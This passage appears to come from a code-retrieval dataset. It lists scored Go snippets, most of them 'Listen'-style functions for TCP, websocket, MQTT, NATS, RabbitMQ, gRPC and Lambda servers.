bot.handleMsg(msg)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "1701ed915301402db4496f5e2192146e", "score": "0.532377", "text": "func (s *Server) Listen() {\n\tlog.Println(\"Troll server listening...\")\n\n\t// websocket handler\n\tonConnect := func(ws *websocket.Conn) {\n\t\tdefer func() {\n\t\t\terr := ws.Close()\n\t\t\tif err != nil {\n\t\t\t\ts.errCh <- err\n\t\t\t}\n\t\t}()\n\n\t\ttroll := NewTroll(ws, s)\n\t\ts.AddTrollConnection(troll)\n\t\ttroll.Listen()\n\t}\n\thttp.Handle(NEW_CONNECTION_ENDPOINT, websocket.Handler(onConnect))\n\n\tfor {\n\t\tselect {\n\n\t\t\t// Add new a client\n\t\t\tcase t := <-s.addCh:\n\t\t\t\ts.addTrollConnection(t)\n\n\t\t\t// del a client\n\t\t\tcase t := <-s.delCh:\n\t\t\t\ts.deleteTrollConnection(t)\n\n\t\t\t// recieve a message from a client troll\n\t\t\tcase msg := <-s.messageCh:\n\t\t\t\ts.recieveMessage(msg)\n\n\t\t\tcase err := <-s.errCh:\n\t\t\t\tlog.Println(\"Error:\", err.Error())\n\n\t\t\tcase <-s.doneCh:\n\t\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c4f35de0bed14130c49991df35ecc524", "score": "0.5320151", "text": "func listenForSocks(address string) {\n\tlog.Println(\"Listening for the far end\")\n\tln, err := net.Listen(\"tcp\", \"0.0.0.0:\"+address)\n\tif err != nil {\n\t\treturn\n\t}\n\tfor {\n\t\tconn, err := ln.Accept()\n\t\tlog.Println(\"Got a client\")\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"Errors accepting!\")\n\t\t}\n\t\t// Add connection to yamux\n\t\tsession, err = yamux.Client(conn, nil)\n\t}\n}", "title": "" }, { "docid": "375423d443d1ea7b65cbe21cfee5cffc", "score": "0.5289231", "text": "func (p *SessionManager) StartListen() {\n\n\tfor {\n\t\tselect {\n\n\t\tcase session := <-p.Registrar:\n\t\t\tp.eventRegister(session)\n\t\tcase session := <-p.Logout:\n\t\t\tp.eventLogout(session)\n\n\t\t}\n\n\t}\n\n}", "title": "" }, { "docid": "6709d6ebe0db26d2fc7c6c199f4ac0a4", "score": "0.52737164", "text": "func ExamplePeer_listen() {\n\tpeer, err := rinqamqp.DialEnv()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer peer.Stop()\n\n\tpeer.Listen(\"my-api\", func(\n\t\tctx context.Context,\n\t\treq Request,\n\t\tres Response,\n\t) {\n\t\tdefer req.Payload.Close()\n\t\t// handle the command\n\t\tres.Close()\n\t})\n\n\tif false { // prevent the example from blocking forever.\n\t\t<-peer.Done()\n\t}\n}", "title": "" }, { "docid": "381f85c8898cc6ea8f412b5a819e89fb", "score": "0.527247", "text": "func (l *LocalTransport) Listen(ctx context.Context, p *PubSub) error {\n\tfor {\n\t\tselect {\n\t\tcase msg := <-l.queue:\n\t\t\tp.Recieve(msg.Topic, msg.Msg)\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5c6234cf456bae8a652c77f8732533e9", "score": "0.5271394", "text": "func (em *EventManager) Listen(ws *websocket.Conn) {\n\tid := em.addWebsocket(ws)\n\tem.listen(ws, id) // cal the actual listerer\n\n\tem.wsMutex.RLock()\n\tblocker, ok := em.blockers[id]\n\tem.wsMutex.RUnlock()\n\tif ok {\n\t\t<-blocker\n\t}\n}", "title": "" }, { "docid": "fd71f98f97a2dbf9b5ddf9b47173439e", "score": "0.52610016", "text": "func (a ServerAdapter) Listen(ctx context.Context, router *internalhttp.Router) error {\n\tr := mux.NewRouter()\n\n\tfor _, h := range router.Handlers {\n\t\tr.HandleFunc(h.Path, a.handler(ctx, h)).Methods(h.Method)\n\t}\n\tfor _, sh := range router.StaticHandlers {\n\t\tr.PathPrefix(sh.Path).Handler(a.httpHandler(sh.Path, sh.Root))\n\t}\n\n\ta.server.Handler = r\n\n\ta.Logger.Infof(ctx, \"Listening on port :%d\", a.port)\n\treturn a.server.ListenAndServe()\n}", "title": "" }, { "docid": "25888560f36f502766c775ad610e6bde", "score": "0.5251444", "text": "func main() {\n\tservice.Listen(routing())\n}", "title": "" }, { "docid": "523b5e2eb1b5e74ac6fa5cb8e7bb64a9", "score": "0.52444345", "text": "func (a *Appbase) Listen() error {\n\tdefer a.Stop()\n\n\tif err := a.setupClient(); err != nil {\n\t\ta.pipe.Err <- NewError(ERROR, a.path, fmt.Sprintf(\"appbase error (%s)\", err), \"\")\n\t}\n\n\ta.running = true\n\n\treturn a.pipe.Listen(a.parseData, a.typeMatch)\n}", "title": "" }, { "docid": "bc46a2ffb7d3b5801e772a751b1d0528", "score": "0.52313626", "text": "func (self Composure) listen() {\n http.ListenAndServe(fmt.Sprintf(\":%d\", self.port), self.mux())\n}", "title": "" }, { "docid": "a74177e93028b26fbe095ed81d6bba40", "score": "0.5220821", "text": "func (b *backNet) listenBackend(ln net.Listener) error {\n\tdefer b.waitStop.Done()\n\tret := make(chan struct{})\n\tdefer close(ret)\n\n\tb.waitStop.Add(1)\n\tgo func() {\n\t\tdefer b.waitStop.Done()\n\t\tselect {\n\t\tcase <-b.stop:\n\t\tcase <-ret:\n\t\t}\n\t\tln.Close()\n\t}()\n\n\tfor {\n\t\tconn, err := ln.Accept()\n\t\tif err != nil {\n\t\t\tselect {\n\t\t\tcase <-b.stop:\n\t\t\t\treturn nil\n\t\t\tdefault:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tb.waitStop.Add(1)\n\t\tgo func(conn net.Conn) {\n\t\t\tlog.Printf(\"backnet on %v: %v\", conn.RemoteAddr(), b.readHandleLoop(conn))\n\t\t\tb.waitStop.Done()\n\t\t}(conn)\n\t}\n}", "title": "" }, { "docid": "c0e57b6cea9194ebf78d2271f0593aa5", "score": "0.5204247", "text": "func (g *GrpcTransport) listen() {\n\tg.server.Serve(g.sock)\n}", "title": "" }, { "docid": "d30cebfd83ea2368f53b2355e62d0ef2", "score": "0.51923496", "text": "func listenToRabbits(config *rc.AMQPConfiguration) {\n\tincomingDelivery, err := rc.NewConsumer(config)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tfor delivery := range incomingDelivery {\n\t\tgo func(d *amqp.Delivery) {\n\t\t\td.Ack(true) // can't do anything if we fail anyways\n\n\t\t\tmsg := new(expectedMessage)\n\t\t\tif err = json.Unmarshal(d.Body, msg); err != nil {\n\t\t\t\tfmt.Printf(\"Failed to unmarshal body %s, %v\\n\", string(d.Body), err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\toriginalURL := msg.URL\n\n\t\t\t// now check for the other http\n\t\t\tvar alternateURL string\n\t\t\tif strings.HasPrefix(msg.URL, \"http\") {\n\t\t\t\talternateURL = \"https\" + msg.URL[4:]\n\t\t\t} else {\n\t\t\t\talternateURL = \"http\" + msg.URL[5:]\n\t\t\t}\n\n\t\t\texecuteTest(originalURL, msg.CallbackURL, msg.AuthToken, msg.TimeoutSec)\n\t\t\texecuteTest(alternateURL, msg.CallbackURL, msg.AuthToken, msg.TimeoutSec)\n\n\t\t}(&delivery)\n\t}\n}", "title": "" }, { "docid": "50c3439639b0d008bd46e636ebd68f92", "score": "0.518012", "text": "func (n *node) listen() error {\n\tn.offChain = n.wallet.NewAccount()\n\tn.log.WithField(\"off-chain\", n.offChain.Address()).Info(\"Generating account\")\n\n\tn.client = client.New(n.onChain, n.dialer, n.funder, n.adjudicator, n.wallet)\n\thost := config.Node.IP + \":\" + strconv.Itoa(int(config.Node.Port))\n\tn.log.WithField(\"host\", host).Trace(\"Listening for connections\")\n\tlistener, err := net.NewTCPListener(host)\n\tif err != nil {\n\t\treturn errors.WithMessage(err, \"could not start tcp listener\")\n\t}\n\tgo n.client.HandleChannelProposals(n)\n\tgo n.client.Listen(listener)\n\tn.PrintConfig()\n\treturn nil\n}", "title": "" }, { "docid": "b9c35095d5a171325be100157c16e3fc", "score": "0.5162332", "text": "func (c *Connection) listen() {\n\tfor {\n\t\tres := <-c.listener\n\t\tswitch res.Name {\n\t\tcase \"log\":\n\t\t\tif err := c.parseLogSignal(res.Payload); err != nil {\n\t\t\t\tlog.Errorf(\"error executing log command: %v\", err)\n\t\t\t}\n\t\tdefault:\n\t\t\tcontinue\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f0ad0071c3116e6b413ea2184d93e6b4", "score": "0.51601595", "text": "func (c *Client) listen() {\n\terr := c.Server.onNewClientCallback(c)\n\tif err != nil {\n\t\tlogrus.Errorf(\"c.Server.onNewClientCallback err. err:%v\", err)\n\t}\n\n\treader := bufio.NewReader(c.conn)\n\tfor {\n\t\tmessage, err := reader.ReadString(0x0)\n\t\tif err != nil {\n\t\t\tc.conn.Close()\n\t\t\terr = c.Server.onClientConnectionClosed(c, err)\n\t\t\tif err != nil {\n\t\t\t\tlogrus.Errorf(\"c.Server.onClientConnectionClosed err. err:%v\", err)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\n\t\terr = c.Server.onNewMessage(c, message[:len(message)-1])\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"c.Server.onNewMessage err. err:%v\", err)\n\t\t\tbreak\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0756c414c2fea226f1b4b18adccc021a", "score": "0.5154529", "text": "func main() {\r\n\t//create listener\r\n\tln, _ := net.Listen(\"tcp\", \":8000\")\r\n\r\n\t//create broadcaster\r\n\tgo broadcaster()\r\n\t//Handle connection\r\n\tfor {\r\n\t\t//1: listener should accept the incoming network connection\r\n\t\tcon, err := ln.Accept()\r\n\t\tif err != nil {\r\n\t\t\tlog.Print(err)\r\n\t\t\tcontinue\r\n\t\t}\r\n\t\t//2.create connection using handleConn method\r\n\t\tgo handleConn(con)\r\n\t}\r\n}", "title": "" }, { "docid": "eee6cda5a62bd60afa591c3a886245e7", "score": "0.5152374", "text": "func createListener(HOST string, CLID string, TOPIC string, PID int, DONE chan bool, WG *sync.WaitGroup) {\n\n\tgo func(HOST string, CLID string, TOPIC string, HEARTBEAT chan bool, WG *sync.WaitGroup) {\n\n\t\topts := mqtt.NewClientOptions().AddBroker(HOST).SetClientID(CLID)\n\n\t\tclient := mqtt.NewClient(opts)\n\t\tif token := client.Connect(); token.Wait() && token.Error() != nil {\n\t\t\tlog.Fatal(token.Error())\n\t\t}\n\n\t\tif token := client.Subscribe(TOPIC, 0, func(client mqtt.Client, msg mqtt.Message) {\n\t\t\tsmsg := string(msg.Payload())\n\t\t\tlog.Print(\"Received message: \", smsg)\n\n\t\t\t// 'logger' is the application that gives us the ability to send logs in to Junos.\n\t\t\t// I did look at creating the serialisation for posting directly to eventd, but figured this:\n\t\t\t// a) The underlying logging system could change and 'logger' is likely to be up to date\n\t\t\t// b) As a result of a) I have to make fewer changes to this!\n\t\t\tbinary, lookErr := exec.LookPath(\"logger\")\n\t\t\tif lookErr != nil {\n\t\t\t\tpanic(lookErr)\n\t\t\t}\n\n\t\t\tdaemon := fmt.Sprintf(\"gojetmqttbridge[%v]\", PID)\n\n\t\t\t// Args that we're passing to logger\n\t\t\targs := []string{\"-d\", daemon, \"-e\", \"MSG_RECVD\", smsg}\n\n\t\t\t// Obtain a cmd struct to execute the named program with the given arguments.\n\t\t\tcmd := exec.Command(binary, args...)\n\t\t\tvar out bytes.Buffer\n\t\t\tcmd.Stdout = &out\n\t\t\terr := cmd.Run()\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\n\t\t\t/*\n\t\t\t\traddr := net.UnixAddr{Name: \"/var/run/eventd_events\", Net: \"unixgram\"}\n\t\t\t\tconn, err := net.DialUnix(\"unixgram\", nil, // can be nil\n\t\t\t\t\t&raddr)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Panic(\"Dial error: \", err)\n\t\t\t\t}\n\n\t\t\t\t// Here we start building out the TLV!!!\n\t\t\t\ttype hdr struct {\n\t\t\t\t\temhLength uint32 // Calculate this later\n\t\t\t\t\temhVersion int16 // 4 for Junos\n\t\t\t\t\teventType int16 // 2 for syslog\n\t\t\t\t\tres1 int16 // *shoulder shrug* dunno what this is for...\n\t\t\t\t}\n\n\t\t\t\thdtTest := &hdr{emhLength: uint32(0), emhVersion: int16(4), eventType: int16(2), res1: int16(0)}\n\n\t\t\t\tbuf := new(bytes.Buffer)\n\n\t\t\t\tbinary.Write(buf, binary.LittleEndian, hdtTest.emhLength)\n\n\t\t\t\tbinary.Write(buf, binary.LittleEndian, hdtTest.emhVersion)\n\n\t\t\t\tbinary.Write(buf, binary.BigEndian, hdtTest.eventType)\n\n\t\t\t\tbinary.Write(buf, binary.BigEndian, hdtTest.res1)\n\n\t\t\t\tlog.Print(buf.Bytes())\n\n\t\t\t\t// This test checks if the header makes it across!\n\t\t\t\t_, err = conn.Write(buf.Bytes())\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tconn.Close()*/\n\n\t\t}); token.Wait() && token.Error() != nil {\n\t\t\tlog.Fatal(token.Error())\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase _, ok := <-DONE:\n\t\t\t\tif ok == false {\n\t\t\t\t\t// Handle Unsubscribe\n\t\t\t\t\tif token := client.Unsubscribe(TOPIC); token.Wait() && token.Error() != nil {\n\t\t\t\t\t\tlog.Println(token.Error())\n\t\t\t\t\t}\n\t\t\t\t\t// Now signal we're done\n\t\t\t\t\tWG.Done()\n\n\t\t\t\t\t// Disconnect from MQTT\n\t\t\t\t\tclient.Disconnect(250)\n\t\t\t\t\t// Return from Go Routine\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// If we're done then go through this,\n\n\t}(HOST, CLID, TOPIC, DONE, WG)\n}", "title": "" }, { "docid": "763b305f355087e9755c8975d659ed22", "score": "0.51451963", "text": "func LocalListen(config *b.CONFIG) {\n\tLAddr := config.Host + \":\" + config.Port\n\tLn, err := net.Listen(\"tcp\", LAddr)\n\te.ErrorHandler(err)\n\tfor {\n\t\tConn, err := Ln.Accept()\n\t\tfmt.Println(Conn)\n\t\te.ErrorHandler(err)\n\t\tgo RouterConnHandler(Conn)\n\t}\n}", "title": "" }, { "docid": "c1a47b10df048eaf392f63f3ca488ee7", "score": "0.51368463", "text": "func (k *Kiosk) listen() {\n\tserver, err := server.Listen(k.logger, k.config, k.db, k.nats)\n\tif err != nil {\n\t\tk.stop()\n\t\tk.logger.Fatal(\"failed to start gRPC server: %v\", err)\n\t}\n\n\tk.grpc = server\n\tk.logger.Info(\"successfully started gRPC server and listening on %s:%d\", k.config.GRPC.Host, k.config.GRPC.Port)\n}", "title": "" }, { "docid": "46f647e7a6c63f28dafeb9d198424948", "score": "0.51263666", "text": "func listen(thisPort string) {\n\t// Port format: \":8080\"\n\tln, _ := net.Listen(\"tcp\", thisPort)\n\n\t// Decodes gobs recieved from every accepted connection\n\tfor {\n\t\tconn, _ := ln.Accept()\n\t\tgo decode(conn)\n\t}\n}", "title": "" }, { "docid": "4c48dbaa1d676feb285c55f0f36de3be", "score": "0.5118343", "text": "func (r *Router) Listen() {\n\tlambda.Start(r.LambdaHandler)\n}", "title": "" }, { "docid": "332f7e5f71b9aa9c8f1065071b4d8065", "score": "0.5118215", "text": "func (b *Bus) Listen(et EventType, lis Listener) {\n\tb.lock.Lock()\n\tdefer b.lock.Unlock()\n\n\tb.appendListener(et, nil, lis)\n}", "title": "" }, { "docid": "64f3b2b1866ac783be2044e6f30005c0", "score": "0.51181865", "text": "func Run(listenAddress, key, server string) {\n\tlisten, err := net.Listen(\"tcp\", listenAddress)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\tfmt.Println(\"secret-tunnel-client listening on\", listenAddress)\n\n\tdefer listen.Close()\n\n\tfor {\n\t\tconn, err := listen.Accept()\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\tcontinue\n\t\t}\n\t\tgo handle(conn, key, server)\n\t}\n}", "title": "" }, { "docid": "af85f836e327f9ffb1f4e9e57f8f4b71", "score": "0.51084226", "text": "func main() {\n\taddr := os.Getenv(\"ADDR\")\n\ttlscert := os.Getenv(\"TLSCERT\")\n\ttlskey := os.Getenv(\"TLSKEY\")\n\tif len(addr) == 0 {\n\t\taddr = \":443\"\n\t}\n\n\tif len(tlscert) == 0 {\n\t\tlog.Fatal(\"No TLSCERT variable specified, exiting...\")\n\t}\n\tif len(tlskey) == 0 {\n\t\tlog.Fatal(\"No TLSKEY variable specified, exiting...\")\n\t}\n\n\trmq := os.Getenv(\"RABBITMQ\")\n\n\thc := handlers.NotifyContext{\n\t\tSockets: handlers.NewSocketStore(),\n\t}\n\n\t// connect to RabbitMQ\n\tevents, err := hc.Sockets.ConnectQueue(rmq)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error connecting to RabbitMQ, %v\", err)\n\t}\n\n\t// start go routine to read/send event/message notifications\n\t// to sockets\n\tgo hc.Sockets.Read(events)\n\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/v1/ws\", hc.WebSocketConnectionHandler)\n\n\tlog.Printf(\"Server is listening at http:/trivia/%s\", addr)\n\tlog.Fatal(http.ListenAndServeTLS(addr, tlscert, tlskey, mux))\n}", "title": "" }, { "docid": "38811f3ed9936a79235ec1fd4c1e77c8", "score": "0.50994873", "text": "func Listen(network, laddr string, key noise.DHKey, payload []*Field, verifyCallback VerifyCallbackFunc, handshakeStrategy int, maxPacketSize uint16) (net.Listener, error) {\n\n\tl, err := net.Listen(network, laddr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &listener{\n\t\tListener: l,\n\t\tkey: key,\n\t\tpayload: payload,\n\t\tverifyCallback: verifyCallback,\n\t\thandshakeStrategy: handshakeStrategy,\n\t\tmaxPacketSize: maxPacketSize,\n\t}, nil\n}", "title": "" }, { "docid": "343bc3870148347142aef8c2a9dc2ad9", "score": "0.509884", "text": "func (t *HttpTransport) listen() error {\n\tt.Lock()\n\tdefer t.Unlock()\n\n\t// Already listening\n\tif t.server != nil {\n\t\treturn nil\n\t}\n\n\taddr := fmt.Sprintf(\":%d\", t.port)\n\tt.server = &graceful.Server{\n\t\tServer: &httpPkg.Server{\n\t\t\tAddr: addr,\n\t\t\tHandler: httpPkg.HandlerFunc(t.handleRequest),\n\t\t},\n\t}\n\n\tvar err error\n\tvar listener net.Listener\n\tif t.certFile != \"\" && t.certKeyFile != \"\" {\n\t\tlistener, err = t.server.ListenTLS(t.certFile, t.certKeyFile)\n\t} else {\n\t\tlistener, err = net.Listen(\"tcp\", addr)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo func() {\n\t\tt.server.Serve(listener)\n\t\tt.logger.Error(\"Http server exited\", \"err\", err)\n\t}()\n\n\treturn nil\n}", "title": "" }, { "docid": "afb7c04bd65828474609756967bdf539", "score": "0.5096766", "text": "func main () {\n\t\n\tlistener, err := net.Listen(\"tcp\", \"localhost:13000\")\n\tif err != nil {\n\t\tfmt.Println(\"Erro no Listen: \", err)\n\t\tos.Exit(1)\n\t}\n\tfor {\n\t\tconn, err := listener.Accept()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Erro no Accept: \", err)\n\t\t\tcontinue\n\t\t}\n\t\tgo handleConn(conn)\n\t}\n}", "title": "" }, { "docid": "6ac7dbc04487b23db3945f66a1f16aeb", "score": "0.5087133", "text": "func (s eventsServer) Listen(port int) {\n\teventListener, err := net.Listen(\"tcp\", fmt.Sprintf(\":%d\", port))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer eventListener.Close()\n\n\tfmt.Printf(\"Listening for operators on %d\\n\", port)\n\nouter:\n\tfor {\n\t\tconn, err := eventListener.Accept()\n\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tdefer conn.Close()\n\n\t\treader := bufio.NewReader(conn)\n\n\t\tfor {\n\t\t\tpayloadRaw, err := reader.ReadString('\\n')\n\n\t\t\tif err == io.EOF {\n\t\t\t\tconn.Close()\n\t\t\t\tcontinue outer\n\n\t\t\t} else if err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\n\t\t\tpayload := strings.TrimSpace(payloadRaw)\n\n\t\t\tfmt.Printf(\"Message received: %s\\n\", payload)\n\n\t\t\ts.handler(conn, payload)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2fd5656fc6e2e04fa8122137ea96209e", "score": "0.5085468", "text": "func Listen(prefix string) chan Event {\n\tio := make(chan Event)\n\tlisteners <- listener{prefix, io}\n\treturn io\n}", "title": "" }, { "docid": "cdce3da23ca32bc7904171eabb13584c", "score": "0.5084416", "text": "func (j *JarvisBot) Listen(subscription chan telebot.Message, timeout time.Duration) {\n\tj.bot.Listen(subscription, timeout)\n}", "title": "" }, { "docid": "97808b82fb3bb91b35467a4a9d6290ee", "score": "0.50819176", "text": "func Listen(ctx context.Context, cred string, h MessageHandler, projectID string, topic string, opts ...option.ClientOption) error {\n\tts, err := util.TokenSource(ctx, cred, scope)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"getting default token source: %v\", err)\n\t}\n\tfullOpts := []option.ClientOption{option.WithTokenSource(ts)}\n\tfullOpts = append(fullOpts, opts...)\n\treturn listen(ctx, h, projectID, topic, fullOpts...)\n}", "title": "" }, { "docid": "fd73dc3444002bf75eba9cf77c8ce00b", "score": "0.5080693", "text": "func listener() {\r\n\tfor {\r\n\t\tconn, err := l.AcceptTCP()\r\n\t\t//checkError(err)\r\n if err == nil {\r\n go connHandler(conn)\r\n }\r\n\t}\r\n}", "title": "" }, { "docid": "8074443968e691fa3775899044f84b58", "score": "0.50796664", "text": "func (s *Server) Listen() {\n\n\tlog.Info(\"Listening ws server...\")\n\n\t// websocket handler\n\tonConnected := func(ws *ws.Conn) {\n\t\tdefer func() {\n\t\t\terr := ws.Close()\n\t\t\tif err != nil {\n\t\t\t\ts.errCh <- err\n\t\t\t}\n\t\t}()\n\n\t\tlog.WithFields(log.Fields{\"query\": ws.Request().URL.Query()}).Info(\"Received args\")\n\t\tclient := newClient(ws, s)\n\t\ts.add(client)\n\t\tclient.Listen()\n\t}\n\n\thttp.Handle(\"/subscribe\", ws.Handler(onConnected))\n\n\tlog.Info(\"Created handler\")\n\n\tfor {\n\t\tselect {\n\n\t\t// Add new a client\n\t\tcase c := <-s.addCh:\n\t\t\ts.clients[c.id] = c\n\t\t\tlog.WithField(\"# clients\", len(s.clients)).Info(\"New Connection\")\n\n\t\t// del a client\n\t\tcase c := <-s.delCh:\n\t\t\tlog.WithField(\"client\", c).Info(\"Delete client\")\n\t\t\tdelete(s.clients, c.id)\n\n\t\t// broadcast Record for all clients\n\t\tcase msg := <-s.sendAllCh:\n\t\t\ts.sendAll(msg)\n\n\t\tcase err := <-s.errCh:\n\t\t\tlog.WithError(err).Info(\"Error\")\n\n\t\tcase <-s.doneCh:\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "bde307f1a4f777b60b94142ef9d4c8c5", "score": "0.5073616", "text": "func (n *NATS) Listen() {\n\tctx, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond)\n\tnatsAddrValue, err := n.Config.Get(ctx, \"/natsAddr\")\n\tcancel()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tnatsAddr := string(natsAddrValue.Kvs[0].Value)\n\tlog.Println(\"Connecting to NATS on:\", natsAddr)\n\tnc, err := nats.Connect(natsAddr)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer nc.Close()\n\n\t// Subscribe\n\tsub, err := nc.SubscribeSync(\"instrument\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tfor {\n\t\t// Wait for a message\n\t\tmsg, err := sub.NextMsg(10 * time.Second)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tinstrument := &api.Instrument{}\n\t\tif err := proto.Unmarshal(msg.Data, instrument); err != nil {\n\t\t\tlog.Fatalln(\"Failed to parse instrument:\", err)\n\t\t}\n\n\t\tlog.Printf(\"Msg received from nats, user: %v\", instrument)\n\n\t\tfor _, p := range n.Pushers {\n\t\t\tp.Push(instrument)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "9e8d70f000e29f5203be74af683cb102", "score": "0.5068728", "text": "func (b *Bot) Listen(ctx context.Context, listener chan []racetime.RaceData) {\n\tgo func() {\n\t\terr := b.client.Connect()\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t}()\n\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\terr := b.client.Disconnect()\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t}\n\t\t\treturn\n\t\tcase racesData := <-listener:\n\t\t\tb.mut.Lock()\n\t\t\tb.races = racesData\n\t\t\tb.mut.Unlock()\n\t\tcase msg := <-b.msgChan:\n\t\t\terr := b.handleMessage(msg)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c1ff5049a4271a28a82a7d0834891e16", "score": "0.5061738", "text": "func listen() {\n\tcfg := gogadgets.SocketsConfig{\n\t\tHost: *host,\n\t\tSubPort: 6111,\n\t\tPubPort: 6112,\n\t\tMaster: false,\n\t}\n\ts, err := gogadgets.NewSockets(cfg)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\ttime.Sleep(100 * time.Millisecond)\n\tlog.Println(\"listening for new gadgets\")\n\tmsg := s.Recv()\n\td, err := json.Marshal(&msg.Config)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tos.Mkdir(defaultDir, 0644)\n\terr = ioutil.WriteFile(defaultConfig, d, 0644)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\ts.Close()\n\ttime.Sleep(100 * time.Millisecond)\n\trunGadgets()\n}", "title": "" }, { "docid": "e0b388c51261aae1957840c5bbce1ada", "score": "0.5055286", "text": "func (b *Bus) Listen(l Listener) {\n\tb.reg.Listen(l)\n}", "title": "" }, { "docid": "281ec0c0600185b20afd9ff8b680fb87", "score": "0.50472224", "text": "func (em *EventManager) Listen(listeners ...Listener) {\n\tfor _, listener := range listeners {\n\t\tlistenerType := reflect.TypeOf(listener)\n\t\tif listenerType.Kind() != reflect.Func {\n\t\t\tpanic(\"listener must be a function\")\n\t\t}\n\n\t\tif listenerType.NumIn() != 1 {\n\t\t\tpanic(\"listener must be a function with only one arguemnt\")\n\t\t}\n\n\t\tif listenerType.In(0).Kind() != reflect.Struct {\n\t\t\tpanic(\"listener must be a function with only on argument of type struct\")\n\t\t}\n\n\t\tem.store.Listen(listenerType.In(0).String(), listener)\n\t}\n}", "title": "" }, { "docid": "35da12b3fc6b3edc529acbeb997ce277", "score": "0.504346", "text": "func (k *kfktport) Listen(addr string, opts ...transport.ListenOption) (transport.Listener, error) {\n\tif addr == \"\" || addr == \":0\" {\n\t\tid, err := uuid.NewV4()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\taddr = id.String()\n\t}\n\t// kafka transport listener\n\tlistener := &kfktportListener{\n\t\trt: k,\n\t\taddr: addr,\n\t\tsockets: make(map[string]*kfktportSocket),\n\t}\n\tvar err error\n\tif listener.producer, err = sarama.NewAsyncProducer(k.opts.Addrs, newSaramaConfig(k.opts)); err != nil {\n\t\treturn nil, err\n\t}\n\t// NOTE: use the same consumer group ID for all workers to avoid processing message\n\t// by all available workers at the same time. Only one consumer of the group should\n\t// be able to receive and process a message.\n\tif listener.consumer, err = cluster.NewConsumer(k.opts.Addrs, addr, []string{addr + suffSend}, newClusterConfig(k.opts)); err != nil {\n\t\treturn nil, err\n\t}\n\treturn listener, nil\n}", "title": "" }, { "docid": "7bb3af66a3f17a60c34260d0d932d65e", "score": "0.5038777", "text": "func (t *Tasker) Listen() {\n\tlambda.Start(t.LambdaHandler)\n}", "title": "" }, { "docid": "e6ee75b352bee9193a23dbdd4057be82", "score": "0.5037866", "text": "func Listen() {\n\tconf := config.Get()\n\n\t// Routes\n\trouter := httprouter.New()\n\trouter.GET(\"/v1/links\", handleSearchLinks)\n\trouter.GET(\"/v1/links/:id\", handleGetLink)\n\trouter.DELETE(\"/v1/links/:id\", handleDeleteLink)\n\trouter.NotFound = http.HandlerFunc(handleErrorNotFound)\n\n\t// Listen!\n\tfmt.Println(\"API Listen on port\", conf.APIListenPort)\n\thttp.ListenAndServe(fmt.Sprintf(\":%d\", conf.APIListenPort), NewAPIMiddleware(router))\n}", "title": "" }, { "docid": "c445e246dee36fe91e5ddc9b35c2a166", "score": "0.5036331", "text": "func (e Exporter) Listen() (err error) {\n\te.logger.Debug().\n\t\tStr(\"listen-address\", e.listenAddress).\n\t\tStr(\"telemetry-path\", e.telemetryPath).\n\t\tMsg(\"starting http server\")\n\n\thttp.Handle(e.telemetryPath, promhttp.Handler())\n\terr = http.ListenAndServe(e.listenAddress, nil)\n\tif err != nil {\n\t\terr = errors.Wrapf(err,\n\t\t\t\"failed listening on address %s\",\n\t\t\te.listenAddress)\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "b6de8a3eae141cb869b70de420ff2deb", "score": "0.5020791", "text": "func (i *Invokee) Listen(ctx context.Context) (e error) {\n\ti.ListenCtx, i.ListenCancel = context.WithCancel(ctx)\n\n\tif i.TaskStream, e = i.Client.Listen(i.ListenCtx, &invokeeV1API.ListenRequest{}); e != nil {\n\t\treturn\n\t}\n\n\ti.TaskChan = make(chan *invokeeV1API.Task)\n\n\tgo func() {\n\t\tfor {\n\t\t\tt, e 